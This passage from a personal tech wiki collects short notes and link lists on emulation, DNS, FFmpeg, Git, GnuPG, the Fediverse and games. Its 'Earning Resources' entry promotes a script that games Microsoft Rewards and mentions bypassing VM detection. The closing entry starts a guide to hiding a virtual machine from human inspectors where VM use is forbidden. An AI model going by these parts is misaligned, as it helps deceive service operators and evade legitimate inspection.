- namDHC — Windows frontend for CHDMAN - written in Autohotkey — releases include standalone Win32 builds of chdman
maxcso — fast ISO to CSO compression program for use with PSP and PS2 emulators, which uses multiple algorithms for best compression ratio

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Data corruption

Octt 6th November 2023 at 11:22pm

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Corrupt.wiki — The Corruptions Wiki — [Git]
RTCV - Real-Time Corruptor Vanguard — Easily corrupt videogames and programs in real-time with this free open-source suite of corruption tools. — [Git]
a set of Cursed Games — "Cursed Games" are modified games which underwent cursification via manual/algorithmic asset modification and data corruption.

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Data recovery

Octt 6th November 2023 at 11:55pm

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CGSecurity Wiki — home of the TestDisk and PhotoRec programs, plus some other tools and documentation

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Data serialization

Octt 23rd December 2023 at 2:40pm

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JSON is valid YAML

YAML

Wikipedia

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INI

Wikipedia

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TOML

Wikipedia

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Data storage

Octt 20th December 2023 at 6:35pm

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f3 - Fight Flash Fraud — simple tool that tests flash cards capacity and performance to see if they live up to claimed specifications — [Git]
Storj — Decentralized cloud object storage that is affordable, easy to use, private, and secure. — [Git]

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Database

Octt 23rd December 2023 at 11:48pm

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SQL

Wikipedia

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MySQL \ MariaDB

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How to install MySQL (MariaDB) on Android with Termux
--skip-grant-tables option cannot execute statement — in mysql> execute flush privileges

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Demoscene

Octt 7th November 2023 at 9:26pm

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www.untergrund.net — free hosting service for demoscene related projects

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dwitter — Social network for short js demos — [Git] — [Frontend Git]

Some interesting tech art pieces follow.

Web

After Dark Screensavers in CSS — [Git]
Blob Opera — Create your own ML-powered opera song!
If the Moon Were Only 1 Pixel — A tediously accurate map of the solar system
Internet Explorer 6 Error
neal – Space Elevator
Arktis – Tweet Demo — [Git]
http error CSS cube (info unknown)
p01 – Impossible Road
p01 – Micro Nova
p01 – Minami District
p01 – Minicraft
p01 – Starfield
p01 – Tunnex (Doesn't work in Firefox?)

Js1k — The JavaScript code golfing competition

256b.htm Competition

Development

Octt 20th December 2023 at 12:47am

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Tools

AST explorer — A web tool to explore the ASTs generated by various parsers. — [Git]
- metajs — visualize javascript AST execution — [Git]

Resources

Dependency hell
Confused about web app architecture and separation of frontend and backend
What package naming convention do you use for personal/hobby projects in Java/Android/Flatpak?
Should images be stored in a git repository? [or any SCM]
Why would a game developer write their own engine instead of using existing ones?
- Is it worth my time in 2018 to make a game using only C and SDL?
How to Mix C and Assembly
Compilation and Installation using Autoconf
What is the purpose of .PHONY in a Makefile? — TLDR: it's to declare "fake" targets that must build independently from actual files on disk (that make would otherwise use as targets), it doesn't mean "sound" or "pronunciation" or otherwise the full list of only allowed build targets, as I initially thought because of associating phony => telephony => ...
Makefile Tutorial by Example — Learn Makefiles With the tastiest examples — [Git]
Modern CMake — A book about using CMake for your projects — [Git]
Replit: The software creation platform. IDE, AI, and Deployments
- Repl.it Offline (joke) — Repl.it's most requested feature has finally come: an offline, local-first IDE.
  - We still get mailed code and we still mail back outputs in case you thought we stopped https://offline.repl.it
GPL and Linking Exceptions
- You can use LGPLv3 with the LGPL-3.0-linking-exception
What does "GPL with classpath exception" mean in practice?

See also: Octt |

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Development/Resources

Octt 17th December 2023 at 1:10am

Rico's cheatsheets (devhint.io) — TL;DR for developer documentation - a ridiculous collection of cheatsheets — [Git]

Learning, Reference: Baeldung; DigitalOcean Tutorials; Rollbar Tutorials; MDN Web Docs (Mozilla); Programiz; Programming Simplified — C C++ and Java programming tutorials and programs; W3Schools; DevDocs — API Documentation Browser — [Git]; DevTut — Tutorials compiled from StackOverflow Documentation — [Source Git] [Deploy Git]
Code search: grep.app; Tabnine
Badges: For the Badge — We don't develop for the money, power, fame, or codebabes. We do it For the Badge. — [Git]; Shields.io — badges as a service — [Git]

DevKitPro

Octt 30th January 2023 at 8:17am

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Digital Garden

Octt 28th February 2023 at 10:24pm

I still haven't yet understood what are the exact connotations of this term.

Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result
It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)
Is a digital garden a Wiki? A Personal Knowledge Base with Zettelkasten method? Static Website with many "classic-style" WIP pages? A personal Notebook left open to the public to read?

Explanations, Demos, Discussions

What is a Digital Garden? Everything you need to know 🌱

Digital Gardening: Explained: A digital garden is an online space at the intersection of a notebook and a blog, where digital gardeners share seeds of thoughts to be cultivated in public.

🪴 How To Grow Your Own Digital Garden with Maggie Appleton

Tools - some are under Personal Knowledge Base

garden 🌱 - starter kit for making a more blog-oriented digital garden - [Git]

Misc

Digital Gardening Tools and Resources

Digital signing

Octt 19th December 2023 at 12:04am

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Create Your Own Certificate Authority With OpenSSL and NGINX On Ubuntu 20.04

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Discord

Octt 5th November 2023 at 2:34pm

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gtkcord4 — GTK4 Discord client in Go, attempt #4
No More MEE6 — overview on the now-scam Discord bot that is also called PEE6, it's issues, and alternatives — [Git]

Display

LCD

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Display

Octt 17th February 2023 at 7:50am

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DIY

Papier-mâché

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DIY

Octt 23rd December 2023 at 10:23pm

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Repairs

Repair Preservation Group Wiki (repair.wiki)
Woodgears.ca — An engineer's approach to Woodworking
Notes on the Troubleshooting and Repair of Television Sets
- CRT repair and troubleshooting

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DNS

Octt 20th September 2023 at 8:28am

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Tools: DNS Toys - Useful utilities and services over DNS
Misc: Bizarre and Unusual Uses of DNS [FOSDEM23] - Rule 53: If you can think of it, someone's done it in the DNS; DNS over Wikipedia — Redirect .idk domains using Wikipedia

List of some DNS servers

(including DNS over TLS, easily usable on Android >= 9):

🇺🇸 Cloudflare (avoid):

1.1.1.1 - Wikipedia

🇪🇺 dns0.eu (new, never tried it)

Seen on Feddit.it

🇺🇸 Google (avoid):

Google Public DNS - Wikipedia

🇨🇭 Quad9 (good):

Quad9#Service - Wikipedia

🇩🇰 [+ 🇺🇸] UncensoredDNS (ideally perfect but I found it crashed sometimes or got slow):

anycast.uncensoreddns.org
Anycast from multiple locations.
DNS-over-TLS: anycast.uncensoreddns.org:853
DNS-over-HTTPS: https://anycast.uncensoreddns.org/dns-query
IPv4: 91.239.100.100
IPv6: 2001:67c:28a4::

unicast.uncensoreddns.org
This node is hosted at AS9167 in Copenhagen, Denmark.
DNS-over-TLS: unicast.uncensoreddns.org:853
DNS-over-HTTPS: https://unicast.uncensoreddns.org/dns-query
IPv4: 89.233.43.71
IPv6: 2a01:3a0:53:53::

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Docker

Octt 23rd August 2023 at 11:05pm

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Commands

start, restart: On existing containers, respectively start if it's not running, or restart at any condition

Flags

Passing ports: -p Host:Container, eg -p 8080:80

Document

Octt 20th September 2023 at 9:21am

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ONLYOFFICE — An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents — [Git] [Android Git and APKs]
PDF or CBZ for absolute best image quality?
Is there a clear winner for best format to download comics?

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DOOM

Octt 19th December 2023 at 12:18am

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Chocolate Doom — Doom source port that accurately reproduces the experience of Doom as it was played in the 1990s with limited mod support but high cross-platform support — [Git]
ZDoom Team — team of developers and contributors [...] primarily develop and maintain the GZDoom and Raze source ports, and also some of the tools that can be used to fascilitate editing of game modifications which are supported by them
- GZDoom — GZDoom is a feature centric port for all Doom engine games, based on ZDoom, adding an OpenGL renderer and powerful scripting capabilities
WAD Commander — WAD Commander is a tool running in modern browsers to load and play WAD files of DOOM® and DOOM II®.
Wasm Doom by Cloudflare — Chocolate Doom WebAssembly port with WebSockets support — [Git]
Mi dicono dalla regia che esattamente 30 anni fa, #DOOM viene ufficialmente rilasciato. Che dire…
Freedoom project aims to create a complete free content game based on the Doom engine — [Git]
Eviternity II — full 36-map megawad sequel to Eviternity, with apparently nice-looking levels

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DOS

Octt 23rd December 2023 at 11:14am

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FreeDOS — is a free software operating system for IBM PC compatible computers.
js-dos v7 — The simplest API to run DOS games in browser — [Git]
- DOS Zone — Ultimate collection of online dos games
DOS haven — 21st century DOS games, and related resources like homebrews, tools, and codes

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dpkg

Octt 1st September 2023 at 11:53pm

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Ignore all dependencies for a specific package with apt-get — First install the package with --force-depends (dpkg) or --nodeps (apt), then find the offending package in /var/lib/dpkg/status, and edit the Depends: line to remove/alter the problematic dependency.

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DraStic

Octt 5th February 2023 at 3:04pm

E-Paper

Kindle
KOReader

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E-Paper

Octt 16th February 2023 at 9:15pm

From en.Wikipedia.org/Electronic paper

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Earning Resources

Octt 23rd August 2023 at 10:49pm

Graphs of my earnings should be available soon.

Misc

Microsoft Rewards

(At least in Italy, I don't know about other markets) MS Rewards lets you exchange points for Amazon gift cards: 1€ = 1500 rp (custom price can be chosen)

https://octospacc.gitlab.io/pastebin/BingSpam.html — Script for completing the daily searches goal in Bing without doing searches by hand; Have been using it for months now, never got banned, it should be safe; Note: it appears I got softbanned months ago (meaning everything in Rewards worked except for redeems, which would error at the end) in the big July wave, but I can't say if this is due to the script or other "bad patterns".

Network traffic sharing

Earnapp

I haven't been using Earnapp for months now due to first technical issues on my side, then a bit of forgetfulness and also because the service isn't paying like it used to (traffic decreased).

2023 update: Earnapp+ now exists, you get paid a fixed amount for the hours you leave the program on, instead of traffic it's taken (7€/month in Europe). It's Windows-only, and has VM detection but apparently I can bypass it.

EarnApp-Docker - Containerized version of BrightData's EarnApp Doesn't seem to really be working, just like the official CLI Linux app installed manually.

Honeygain

The service is absolutely not paying like it used to nowaydays, sadly, does little traffic. Also be careful if using this, refrain from doing something that goes in the gray side of their ToS as they could ban you. Some people have been banned near reaching a payout; some also then unbanned after a while.

Honeygain has a partnership with JumpTask so you can earn their crypto (BSC chain) token, and it's continuous, you don't have to reach payout targets. After months and months of evaluation, I think it's fair to say you only make a misery with JumpTask mode, as compared to normal mode.

IPRoyal

There was this service called IPRoyal (of which "IPRoyal Pawns" was the name of the side which pays users sharing traffic, "IPRoyal" is for who buys the traffic), which now seems to have changed name into Pawns.app and include also surveys, not only network sharing. Never tried it either before or after the rebranding.

PacketStream

I tried PacketStream for one or two days and saw it does a misery of traffic, not recommended.

Peer2Profit

Currently working ok. Has some issues on Vodafone's mobile network, due to "Vodafone Digital Privacy and Security" thinking it is a malware and blocking the api.peer2profit.global API domain.

August 2023 update: The website is discontinued and now the Telegram bot must be used for everything. The Windows app and Linux CLI app are discontinued, but a new Linux GUI app exists.

Peer2Profit-Docker - Containerized version of Peer2Profit

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Electronics

Octt 19th November 2023 at 12:42am

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The Nand Game — Welcome to The Nand Game! You are going to build a computer starting from basic components.
Polyfuses explained
How to Solder
- How to Solder a Wire to a Circuit Board
How can I go about making temporary test connections in pcb while prototyping without soldering?, How can I make connection on pcb (circuit board) holes without solder (for prototyping)?
- Any tricks to attaching a wire or pin to a testpoint?

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Email

Octt 23rd December 2023 at 10:39pm

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What characters are allowed in an email address? (contains scary examples)
MxToolbox — misc tools for email server administration and testing
SPF/DKIM/DMARC/DomainKey/RBL Test Online

Hosting and software

Postfix

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Adding aliases inboxes using Postfix — add new lines in /etc/aliases as needed for aliases, with format desidered_alias: real_username, then run newaliases.
Quickly test an IMAP server with telnet
Postfix: SASL auth with PAM and passwd file || Postfix and SASL (Debian)

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Email Settings

Octt 6th February 2023 at 11:15am

Outlook

Username: Full Email Address (e.g. example@outlook.com)
Password: Standard Account Password
Server: smtp-mail.outlook.com
Ports:
- TLS: 587
- No Encryption: 25
Daily Limits: 250 Mails, or [verification needed] 100 different Recipients

Yahoo Mail

Username: Full Email Address (e.g. example@yahoo.com)
Password: App Password; Must be set from Yahoo's account security settings
Server: smtp.mail.yahoo.com
Ports: 465 (With SSL)
- SSL: 465
- TLS: 587
Daily Limits^{[verification needed]}: 500 Mails, or 100 Connections

Emulation

MeBoy:en
melonDS:en
QEMU
Retrogaming

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Emulation

Octt 12th December 2023 at 11:41pm

Wikipedia

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Resources

a big list of Emulators written in JavaScript
a list of browser based emulators
EmulatorJS — tool to embed an emulator into your website — [Git]
- It was apparently born as a reverse-engineering of www.emulatorjs.com
Is it possible to make a ROM converter? — Spoiler: yes, but not often and not without high costs
- jamulator: Statically Recompiling NES Games into Native Executables with LLVM and Go

Web Sites

Game Console Emulators

General PC Emulators

Virtual x86 (v86) by copy - x86 virtualization in your browser, recompiling x86 to wasm on the fly - [Git]
TinyEMU - system emulator for the RISC-V and x86 architectures
- JSLinux - Run Linux or other Operating Systems in your browser!
https://dos.zone/mobile/
Bochs - IA-32 emulator - [Git]
- Android port by lubomyr^[
  The same developer also has other various emulators
  ^] - Sources: Core, GUI
PCem - IBM PC emulator with focus on emulation of infinite hardware components - [Git]
- 86Box — a sometimes more recommended fork — [Git]

Linux Emulators

WebVM - Linux virtualization for the Web, in WebAssembly - [Git]
box86\box64 - Linux Userspace x86 Emulator for ARM - [Git (86)] [Git (64)]

Other

Thumbnails for RetroArch
https://github.com/Abdess/retroarch_system
Emulator files (system BIOS and such)

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Endianness

Octt 4th April 2023 at 1:49pm

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English

22nd September 2022 at 8:46pm

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EPSON WF-2510

Octt 21st December 2023 at 12:21am

Linux driver:

on OpenPrinting
- the deb file is apparently outdated and won't work on Debian 12
(Debian) apt package: printer-driver-escpr (available in stable as of Debian 12)

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Eruda

Octt 13th April 2023 at 8:57am

Eruda is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):

Console: Display JavaScript logs and run commands
Elements: Check the DOM's state
Network: Show requests status
Resources: Show localStorage and cookie information
Info: Show URL and user agent info
Snippets: Include snippets used most often
Sources: HTML/CSS/JS, source code viewer

More Resources

Source Code and Documentation: github.com/liriliri/eruda
➡️ Inject Eruda into this page

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ESP8266:en

Octt 6th February 2023 at 11:15am

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F-Zero

Octt 26th February 2023 at 10:29pm

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What I like: The game feels very fast, speedy, like you can't rest for even a second while racing, it's immersive.; Very impressive how the SNES version runs at a constant 60 FPS.; The Mode-7 games are especially colorful and the controls feel good.
What I don't like: The 3D games are kind of "foggy" and dark, and while the atmosphere may feel more modern, they are mostly unattractive to me.

Fediverse

Friendica
Lemmy:en
Mastodon
Misskey
PeerTube:en
Pixelfed:en

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Fediverse

Octt 23rd December 2023 at 12:33pm

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List of Platforms

Tip: these sites list many public instances for many platforms.

Fediverse.Party — [Git]
Fediverse Observer
Fediverse Explorer (h4kor) — Graph view of instances

Media

PeerTube - Video sharing
Pixelfed - Image sharing

Microblogging

GoToSocial - Fast, fun, ActivityPub server, powered by Go
Mastodon | Hometown | glitch-soc
Misskey | Dolphin
Pleroma | Akkoma | Soapbox
Takahē - An efficient ActivityPub Server, for small installs with multiple domains

Other

Epicyon [Git] - Designed for simplicity and accessibility, includes calendar, news and sharing economy features
Friendica
Lemmy [Git, Dev Instance] - 🐀 A link aggregator and forum for the fediverse
/kbin - Fediverse of content

Coming Soon

Goldfish Social

Posts and Users

Fediverse Explorer (stefanbohacek) — Browse most recent public posts across the fediverse by hashtag
fediverse.info — Directory of suggested profiles

Other

Soapbox — A social media frontend with a focus on custom branding and ease of use. (+ other things) — [Git]
Mangan App — Fork of Mangane, fork Soapbox, fork of Mastodon UI, with support for login into any instance — [Git]
Fediverse Enhancement Proposals
MaPlefeed — Mastodon & Pleroma Feed generator — [Git]

FFmpeg

Snippets

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FFmpeg

Octt 10th December 2023 at 10:26pm

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ffmpeg.wasm — FFmpeg for browser, powered by WebAssembly — [Git]
- ffmpeg-web — Web UI for ffmpeg-wasm: convert video, audio and images using the power of ffmpeg, directly from your browser — [Git]

FFmpeg/

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FFmpeg/Snippets

Octt 12th November 2023 at 11:23pm

Flags

Specify an input file: -i ${File}
Framerate: -r ${r}, -framerate ${r} (use both because one sometimes doesn't work) (other ways)

Filter Flags

These are specified by prefixing an argument:

Audio: -filter:a or -af
Video: -filter:v or -vf

Audio Filters

Volume: volume=
- ±{n}dB: Adding or Subtracting to absolute value in dB
- {%/100}: Target percentage divided by 100 (e.g: 150% -> 1.5)
Detecting volume details: volumedetect -f null /dev/null (just prints to console)

Video Filters

Scaling: scale=${w}:${h}
Cropping: crop=${w}:${h}:${x}:${y}

Audio/Video Flags

These are specified as -flag:a or -flag:v.

Bitrate: -b:{a|v} ${n}{k|m|...}
Codec: -c:{a|v} ${codec}

Audio Flags

Audio channels: -ac ${n}

Codecs List

Special

copy: Copy data stream without re-encoding (if supported by container)

Audio Codecs

libopus

Video Codecs

h263, h264, libx265
libvpx-vp8, libvpx-vp9
libaom-av1

Disk partitioning and related

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GParted stop after next operation? — TLDR: libparted doesn't keep copies of disk data, so the operation can be stopped without data loss only with luck and/or stopping at the least bad time.
How to recover resize2fs failure (not really possible)
How to Create a Virtual HardDisk Volume Using a File in Linux — using mkfs on a preallocated file

Fat32

formatting a drive to FAT32 with mkdosfs, need some info (with cluster size and everything)

Btrfs

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Note (2023-08-04): I tried Btrfs more than a year ago on Linux Lite (with ZSTD compression iirc) but after filling up the entire partition leaving 0 bytes available, even after deleting files, the partition was like corrupted, couldn't write to it anymore.

Compression (docs)
- ZSTD is the best-balanced compressor; level 15 is max compression, and still good performance
- Enable compression for newly-written files by mounting with -o compress=${algo}:${level}

ext# (Linux)

Resizing: resize2fs -f {Partition file} {Size}

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Firmware

Octt 17th December 2023 at 1:16am

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Darthsternie's Firmware and Exploits Archive

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Flashcart

Octt 5th November 2023 at 12:59pm

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Supercard SD

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Ford

Octt 4th March 2023 at 10:43pm

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News

March 2023: Ford Applies to Patent Self-Repossessing Cars That Can Drive Themselves Away if you miss payments; Alternatively, the car could drive itself to a junkyard if it costs too much to repossess it.; [Louis Rossmann] Ford's patent is an episode of Black Mirror waiting to happen

Forum

phpBB
Spacc BBS

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Forum

Octt 5th November 2023 at 11:36am

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Discoure — A platform for community discussion. Free, open, simple. — [Demo] [Git]
- Nice UI and UX, limited plugins are available but they are useful, it all makes good the renewed idea of the forum in the third decade... but the tech stack is bad: installation without Docker is not supported at all (there are really too many complicated components in the system), has relatively high requirements, and doesn't work properly without client-side JavaScript (making frontend performance and flexibility worse).
Flarum — Simple forum software for building great communities. — [Git]
MyBB — [Git]
phpBB

Free sharing

Octt 27th October 2023 at 10:02am

Free sharing is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.

The reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.

People who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).

This last kind of behavior is not to be confused with computer piracy, which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.

FreeMediaHeckYeah — The Largest Collection of Free Stuff On The Internet! — [Git]

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Freedom

Octt 18th August 2023 at 7:50am

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Flash Drives for Freedom

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FreshRSS

Octt 13th August 2023 at 10:38am

Site: https://freshrss.org
Docs: https://freshrss.github.io/FreshRSS/
Source: https://github.com/FreshRSS
Docker: https://hub.docker.com/r/linuxserver/freshrss

How to resolve many feeds not getting updated in time? — Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].
[BUG] Preview images from YouTube feeds no longer working after updating to 1.21 — Only solution is to downgrade to v1.20.2.

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Friendica

Octt 17th April 2023 at 8:09pm

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https://friendi.ca/ - [Git] [Dev Wiki] [User/Admin Wiki]

API

~~The official API documentation is disorganized and possibly lacks some information, so~~ Apparently the good API documentation is on the GitHub Wiki, but I still need to build my own organized while I build my custom client.

Login is possible via basic HTTP authentication.
All routes can be examined from routes.config.php.

Endpoints

Endpoints are present for clients implementing the Mastodon and Twitter protocols, as well as Friendica's own client-to-server protocol, but we only care about this last one.

All Friendica endpoints below are available at the /api/ namespace.

They return JSON data by default.
- Support many formats by suffix: .{json|xml|rss|atom}

GET /search
- q=Search Query

Community Timelines

# GET /statuses/public_timeline - Local
# GET /statuses/networkpublic_timeline - Federated

See also: Fediverse |

Game Boy

MeBoy:en

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Game Boy

Octt 19th December 2023 at 12:00am

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Game Boy Development community — We are a non for profit collective of passionate developers and hackers working on development tools, homebrew games, emulators, preservation and documentation for the Nintendo Game Boy handheld console, the original gray brick from 1989 — [Git]

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Game cheating

Octt 10th November 2023 at 12:28am

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emuWorks Game Genie Encoder/Decoder Program — simple program which can decode and encode game genie codes for Nintendo, Super Nintendo, Genesis, Game Boy, and Game Gear game genies, for Qt C++, Java, and JavaScript (Web)

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Game development

Octt 20th December 2023 at 12:24am

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Godot Engine — feature-packed, cross-platform game engine to create 2D and 3D games from a unified interface — [Git]
raylib — simple and easy-to-use library to enjoy videogames programming — [Git]
[PICO-8] Advanced Micro Platformer - Starter Kit
Should frame rate affect the speed in a game engine?
- Understanding framerate independence and deltatime
- Fix Your Timestep — aka futile exercises in making games that run properly at a variable framerate, the only way that works is separating the game loop in 2 contexts, like in Unity (FixedUpdate and Update) or Godot (_process and _physics_process) — HN
  - what is the difference between Update & FixedUpdate in Unity?
- Fixed vs. variable frame rates in games: what is best, and when?
  - Frame dependency in games

Developers

Dani [YT]

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Game modding

Octt 23rd August 2023 at 10:15am

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Valve Developer Union

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Game save

Octt 1st October 2023 at 9:38am

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3DS Save Bank

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Gamepad

Octt 3rd November 2023 at 11:57pm

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The “padhacking” thread
Converting a wireless 360 controller to wired — Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.

Octt 24th December 2023 at 4:48pm

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Dwarf Fortress — very old game that recently got modernized, I like the original ASCII-graphics-based version ("Classic") which is also gratis
Rising Up — Climb the Corporate Ladder... with Your Fists!
All other games I mentioned on this KB: Game

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Video Game History Foundation — non-profit organization dedicated to preserving, celebrating, and teaching the history of video games
The Cutting Room Floor is a site dedicated to unearthing and researching unused and cut content from video games
MobyGames Video Game Database — extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis
The King of Grabs — Grabbing amazing video game screenshots one game at a time.
VGMaps.com: The Video Game Atlas — the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!
Classic-Games.net — Your retro game headquarters
RetroBreak — Celebrating Video Game History
The Tech Game - Community — gaming news along with useful related downloads
Hard Drive is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.
Sala Museo Games — Where art is your new play — [Git]
GameSnacks — Play Bite-Sized HTML5 Games for Mobile and Desktop — mostly trashy games but some are decent, also there are no ads apparently?
Free Game Planet — All The Best Free Video Games With New Additions Every Day
- Alpha Beta Gamer — Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site
Attract Mode (Concept) — A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.
Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses — a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion

See also: Octt |

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Gaming console

Octt 11th December 2023 at 11:38pm

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Console Protocols — site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles
ConsoleMods.org — collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods

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GBA

Octt 16th February 2023 at 8:58pm

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Resources

The Game Boy Advance Is Insanely Powerful Compared to the SNES

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GIMP

Octt 10th December 2023 at 11:15pm

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G'MIC - GREYC's Magic for Image Computing — Full-Featured Open-Source Framework for Image Processing

Git

Snippets

GitHub
GitLab

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Git

Octt 13th December 2023 at 12:03am

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Never use git submodules — git submodules are always the wrong solution. Yes, even the to the problem they were specifically invented to solve.
Converting a Git (GitLab) project.bundle export to simple Git repo
When I do "git push", what do the statistics mean? (Total, delta, etc.)
git - remote add origin vs remote set-url origin
- to add a push remote to a local repo, it's simple: git remote add origin https://site.tld/user/repo.git
How to modify existing, unpushed commit messages?
- Amending the most recent commit message: git commit --amend (with optionally -m "commit message")
How to delete all commits in a Git repository and replace it with a single “initial commit”
raw.githack.com — CDN for your source code, serves files directly from your source code hosting with proper Content-Type headers — [Git]

Apps

GitJournal - Mobile first Markdown Notes integrated with Git — [Git]

Servers

Self-hostable servers: Git-SCM: https://git-scm.com/; GitLab: https://about.gitlab.com/install/; Gitea: https://gitea.io/; sr.ht: https://man.sr.ht/installation.md
Gratis SaaS servers: 🇺🇸 GitHub; 🇺🇸 GitLab.com; 🇪🇺 Gitea.it; 🇪🇺 Codeberg (Gitea); 🇦🇺 BitBucket; https://NotABug.org

Git/

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Git/Snippets

Octt 6th February 2023 at 11:15am

Commands (+ Flags/Tips)

clone ${URL}: Clone (download) a repo to the computer storage
- --depth=${n}: Explicitly specify how many commits to download (starting from latest)
add ${Path}: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, .) before trying to commit after creating/deleting/moving/renaming files/folders.
- A .gitignore file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the add command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to .gitignore doesn't make it so they stop being tracked, they must be manually be deleted and then the add command issued again.
config
- credential.helper store

Miscellaneous Flags

--global: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)

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GitHub

Octt 24th December 2023 at 3:40pm

GitHub.com

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how fetch a GitHub user's stars (API) — GET https://api.github.com/users/${user}/starred?&page=${pageNum}

Tools

nightly.link - Downloads the latest "nightly" build/artifact from a continuous testing workflow without logging in - [Git]
GitHub Wiki SEE — 🔎 400,000+ GitHub Wikis, now indexable by your favorite search engine. — [Git]
utterances 🔮 - lightweight comments widget built on GitHub Issues - [Git]
giscus 💎 - lightweight comments widget built on GitHub Discussions - [Git]

GitLab

Octt 23rd July 2023 at 2:07pm

https://gitlab.com

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GitLab(.com ?) fucked Access Tokens around spring-summer 2023, and I'm steaming rn as all my workflows are borked:
- Personal tokens expiration is now limited to 1 year max.
  - Apparently old tokens with really long expiration (for example, I have some that expire in year 2100) remain working and unmodified.
- Tokens specific to group repos are totally fucked:
  - Expiration for existing tokens is apparently dropped to 1 year if it was previously more.
  - New tokens can't be created: the UI in the repo's Settings > Access Tokens says: "Group access token creation is disabled in this group. You can enable group access token creation in group settings.". Clicking on the link brings you to Settings > General of the group the repo is in, but there's no setting about tokens anywhere. Regarding this, the official documentation is useless, and I can't find third-party notes/articles.
  - At least old tokens, idk about new ones, now cannot start CI workflows, e.g. on push in repo.

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GNOME

Octt 24th July 2023 at 10:30pm

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GTK

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Zenity
- Zenity: Command line Dialogs

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GNU:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/GNU

GNU/

Coreutils:en

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GNU/Coreutils:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/GNU_Core_Utilities

GnuPG/

Snippets

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GnuPG/Snippets

Octt 6th February 2023 at 11:15am

Commands (+ Flags/Tips)

--list-keys: List installed keys.
--import Public.pgp: Import someone's public key.
--gen-key: Generate a new keypair, with default options.
--full-generate-key: Generate a new keypair, customizing all the options.
--edit-key {FINGERPRINT}: Edit the internal data of a key.
--output Revoke.pgp --gen-revoke {FINGERPRINT}: Generate and output the revoke certificate for a key.
--output Public.pgp --export {USER@EMAIL}: Export a public key file.
⚠️ --output Private.pgp --export-secret-key {USER@EMAIL}: Export a private key file.
⚠️ --output BackupPrivate.pgp --export-secret-keys --export-options export-backup {USER@EMAIL}: Export private key(s) in backup format.
--import-options restore --import BackupPrivate.pgp

`--edit-key` Commands

list: List identities of the keys.
uid {n}: Select an identity to operate on.
notation: Write new notations inside the key; Prepend a dash (-) when typing a notations to remove it from the key, if present; Type just none to delete all notations.
save: Write changes to the key and quit.

`--export` Flags

--armor: Explicitly export as ASCII-armored, aka in text format.

Configuration Options

These are usually inserted one-per-line in ~/gpg.conf.

keyserver {URL}

Google

Android

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Google

Octt 5th March 2023 at 10:30pm

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Reasons not to use Google [Richard Stallman]

Reports

February 2023: YouTube video causes Pixel phones to instantly reboot - Google's Tensor chips seem to choke on this 4K HDR clip of Alien.; Google search for a local restaurant returns scammer’s ad as top result.

GPT

Octt 22nd December 2023 at 10:56pm

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Resources

GPT is all you need for the backend - [Paper]

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GUI

Octt 21st December 2023 at 7:48pm

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B00MERANG Project — Team of developers creating themes for Linux — [Other Website] [Git]

Window manager

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twin — Text mode window environment. A "retro" program for embedded or remote systems, that doubles as X11 terminal and text-mode equivalent of VNC server
vtm — virtual terminal multiplexer

Hacker News:en

Octt 23rd December 2023 at 11:29pm

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The Latest News

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Hacking a chain strap in an USB SD card reader for security

Octt 20th October 2023 at 11:17pm

On the spot, I had a good idea to put into practice when I reflected on how my generic USB SD card reader is kind of unsafe, especially when using it on the go, as either the memory card could be ejected and be lost from the adapter, or the adapter itself could fall out of the USB port and be lost.

Compare the generic reader to a normal average pendrive, and one difference is obvious: there is no hole to attach a strap or similar accessory. So, one solution is to hack one into the casing, as there is often plenty of free space for that.

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Handheld

Nintendo 3DS
Nintendo DS

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Handheld

Octt 20th December 2023 at 12:20am

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ClockworkPi

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Harden VM from Human Inspection

Octt 13th June 2023 at 6:50pm

In some situations in which using a virtual machine to perform certain tasks isn't allowed, or could simply raise suspicion, hardening the VM to avoid manual human inspection could be necessary.

Pop!_OS Host + VMWare

Preparations

Ensure the configured guest OS runs at the same screen resolution as the host system, to avoid black borders and/or stretching.

If this is not possible for some reason:

In the guest OS, choose a resolution with the closest aspect ratio possible to the host.
With the VM still booted in Workstation, go to View > Autosize: Stretch Guest.
Configure font and UI scaling in the guest OS to satisfactory levels (good size for you and minimal blurring).

Note: with this guide you will be running the VM using VMWare Player (which is included in VMWare Workstation), as Workstation has some issues with display scaling in case of a non-perfect match.

VMWare tweaks

Useful tweaks can be made by editing the file $HOME/.vmware/preferences, adding or editing lines as necessary.

Hide menu bar while in full-screen: pref.vmplayer.fullscreen.nobar = "TRUE"
Change hotkey combination keys from the default ones: set to "true" or "false" at will:
- Ctrl: pref.hotkey.control
- Shift: pref.hotkey.shift
- Alt: pref.hotkey.alt
- Meta: pref.hotkey.gui

Startup measures

In case the inspector asks you to reboot the machine, it's useful to have it immediately start up in the VM, without other UIs or logos beforehand.

